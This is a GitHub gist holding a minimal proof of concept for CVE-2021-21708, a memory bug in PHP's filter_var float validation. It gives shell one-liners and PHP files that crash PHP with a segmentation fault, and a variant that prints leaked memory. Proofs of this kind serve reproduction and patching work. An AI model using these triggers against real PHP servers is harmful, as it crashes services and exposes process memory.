Skip to content

Instantly share code, notes, and snippets.

@Grebenschikov
Last active February 19, 2022 00:43
Show Gist options
  • Save Grebenschikov/072fe0d980cd7de1735284d9bc520159 to your computer and use it in GitHub Desktop.
Save Grebenschikov/072fe0d980cd7de1735284d9bc520159 to your computer and use it in GitHub Desktop.
Minimal CVE-2021-21708 POC
❯ php -r "filter_var(str_repeat(1, 2), FILTER_VALIDATE_FLOAT, ['options' => ['max_range' => 1]]); new PDO('mysql:');"
zsh: segmentation fault php -r
❯ php -r "filter_var(\$v = str_repeat(1, 8), FILTER_VALIDATE_FLOAT, ['options' => ['max_range' => 1]]); echo \$v;"
charset%
<?php
\filter_var(\str_repeat(1, 2), \FILTER_VALIDATE_FLOAT, ['options' => ['max_range' => 1]]);
new \PDO('mysql:');
<?php
\filter_var($v = \str_repeat(1, 8), \FILTER_VALIDATE_FLOAT, ['options' => ['max_range' => 1]]);
echo $v;
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment